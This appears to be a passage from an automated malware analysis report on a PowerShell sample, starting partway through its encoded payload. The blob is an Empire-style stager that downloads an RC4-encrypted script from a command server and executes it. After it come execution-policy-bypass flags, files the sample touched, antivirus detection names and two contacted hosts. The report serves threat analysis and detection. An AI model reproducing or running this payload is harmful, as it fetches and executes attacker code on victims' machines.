AQQBCADAAQQBIAFEAQQBjAEEAQQA2AEEAQwA4AEEATAB3AEEAeABBAEQAawBBAE0AdwBBAHUAQQBEAEUAQQBNAFEAQQAzAEEAQwA0AEEATQBnAEEAdwBBAEQAZwBBAEwAZwBBAHgAQQBEAEEAQQBNAFEAQQA2AEEARABjAEEATgB3AEEAMwBBAEQAYwBBACcAKQApACkAOwAkAHQAPQAnAC8AbgBlAHcAcwAuAHAAaABwACcAOwAkAGUAQgBEAEQALgBIAEUAQQBkAEUAUgBTAC4AQQBEAEQAKAAnAFUAcwBlAHIALQBBAGcAZQBuAHQAJwAsACQAdQApADsAJABFAEIARABkAC4AUAByAE8AeAB5AD0AWwBTAFkAUwB0AGUATQAuAE4ARQBUAC4AVwBlAEIAUgBFAFEAVQBlAHMAVABdADoAOgBEAEUARgBhAFUAbAB0AFcARQBCAFAAcgBvAHgAWQA7ACQAZQBiAEQARAAuAFAAUgBvAHgAWQAuAEMAUgBFAEQAZQBOAFQASQBBAEwAcwAgAD0AIABbAFMAeQBTAHQARQBtAC4ATgBFAHQALgBDAHIAZQBkAGUAbgBUAEkAQQBsAEMAQQBjAGgARQBdADoAOgBEAEUARgBBAFUAbAB0AE4ARQBUAHcAbwBSAEsAQwBSAEUARABFAE4AdABJAEEATABTADsAJABTAGMAcgBpAHAAdAA6AFAAcgBvAHgAeQAgAD0AIAAkAGUAYgBkAGQALgBQAHIAbwB4AHkAOwAkAEsAPQBbAFMAWQBzAFQAZQBtAC4AVABlAHgAVAAuAEUATgBjAG8ARABJAE4ARwBdADoAOgBBAFMAQwBJAEkALgBHAGUAdABCAHkAVABlAFMAKAAnAFMAQAA+AFoAfgBhAHAALABuAG8AZQAwAEoARABLAF0AbAAuACsAeQBGAD8AfQBMAE4APQBqADIAegB2AGIAVQAnACkAOwAkAFIAPQB7ACQARAAsACQASwA9ACQAQQByAGcAcwA7ACQAUwA9ADAALgAuADIANQA1ADsAMAAuAC4AMgA1ADUAfAAlAHsAJABKAD0AKAAkAEoAKwAkAFMAWwAkAF8AXQArACQASwBbACQAXwAlACQASwAuAEMAbwBVAE4AVABdACkAJQAyADUANgA7ACQAUwBbACQAXwBdACwAJABTAFsAJABKAF0APQAkAFMAWwAkAEoAXQAsACQAUwBbACQAXwBdAH0AOwAkAEQAfAAlAHsAJABJAD0AKAAkAEkAKwAxACkAJQAyADUANgA7ACQASAA9ACgAJABIACsAJABTAFsAJABJAF0AKQAlADIANQA2ADsAJABTAFsAJABJAF0ALAAkAFMAWwAkAEgAXQA9ACQAUwBbACQASABdACwAJABTAFsAJABJAF0AOwAkAF8ALQBiAFgAbwByACQAUwBbACgAJABTAFsAJABJAF0AKwAkAFMAWwAkAEgAXQApACUAMgA1ADYAXQB9AH0AOwAkAEUAYgBEAEQALgBIAEUAYQBEAEUAUgBzAC4AQQBEAGQAKAAiAEMAbwBvAGsAaQBlACIALAAiAGYAUABxAEYAbQBnAEMAdwB2AG8APQAvAFgAKwBGAHUAbQBYAHIANwBQAHgAMgBTAGoATwB1AHQAOABTAGoAZQBsAG8ANAA2ADQANAA9ACIAKQA7ACQAZABhAFQAQQA9ACQARQBCAGQARAAuAEQATwB3AE4ATABvAGEARABEAGEAdABhACgAJABTAGUAUgArACQAVAApADsAJABJAHYAPQAkAEQAYQB0AGEAWwAwAC4ALgAzAF0AOwAkAGQAQQB0AEEAPQAkAEQAQQBUAEEAWwA0AC4ALgAkAEQAQQB0AGEALgBsAGUAbgBHAFQASABdADsALQBKAE8AaQBuAFsAQwBIAEEAUgBbAF0AXQAoACYAIAAkAFIAIAAkAGQAYQBUAGEAIAAoACQASQBWACsAJABLACkAKQB8AEkARQBYAA==
option -nop value Does not load current user profile
option -ep bypass value Attempts to bypass execution policy
option -nop value Does not load current user profile
option -nol value Hides the copyright banner when PowerShell launches
file C:\Windows\System32\ie4uinit.exe
file C:\Program Files\Windows Sidebar\sidebar.exe
file C:\Windows\System32\WindowsAnytimeUpgradeUI.exe
file C:\Windows\System32\xpsrchvw.exe
file C:\Windows\System32\displayswitch.exe
file C:\Program Files\Common Files\Microsoft Shared\ink\mip.exe
file C:\Windows\System32\mblctr.exe
file C:\Windows\System32\mstsc.exe
file C:\Windows\System32\SnippingTool.exe
file C:\Windows\System32\SoundRecorder.exe
file C:\Windows\System32\dfrgui.exe
file C:\Windows\System32\msinfo32.exe
file C:\Windows\System32\rstrui.exe
file C:\Program Files\Common Files\Microsoft Shared\ink\ShapeCollector.exe
file C:\Program Files\Windows Journal\Journal.exe
file C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
file C:\Windows\System32\MdSched.exe
file C:\Windows\System32\msconfig.exe
file C:\Windows\System32\recdisc.exe
file C:\Windows\System32\msra.exe
CTX powershell.unknown.boxter
CAT-QuickHeal BAT.Trojan.44357
Skyhigh PS/Dropper.f
VIPRE Heur.BZC.PZQ.Boxter.791.52390597
Arcabit Heur.BZC.PZQ.Boxter.791.52390597
Symantec CL.Downloader!gen11
ESET-NOD32 PowerShell/TrojanDownloader.Agent.ABM
Avast PwrSh:Dropper-H [Trj]
Cynet Malicious (score: 99)
Kaspersky HEUR:Trojan.PowerShell.Generic
BitDefender Heur.BZC.PZQ.Boxter.791.52390597
NANO-Antivirus Trojan.Script.Downloader.inbiqr
MicroWorld-eScan Heur.BZC.PZQ.Boxter.791.52390597
Emsisoft Heur.BZC.PZQ.Boxter.791.52390597 (B)
F-Secure Trojan.TR/PowerShell.Gen
Sophos ATK/Empire-U
Ikarus Trojan-Downloader.PowerShell.Agent
FireEye Heur.BZC.PZQ.Boxter.791.52390597
Google Detected
Avira TR/PowerShell.Gen
Xcitium TrojWare.Win32.BadShell.XSN@7pmib7
Microsoft VirTool:PowerShell/Empire.MM!MTB
ZoneAlarm HEUR:Trojan.PowerShell.Generic
GData Heur.BZC.PZQ.Boxter.791.52390597
Varist PSH/Agent.AK2.gen!Camelot
McAfee PS/Dropper.f
Tencent Heur:Trojan.Powershell.Generic.u
huorong TrojanDownloader/PS.MalDownload.g
AVG PwrSh:Dropper-H [Trj]
dead_host 192.168.56.101:49168
dead_host 193.117.208.101:7777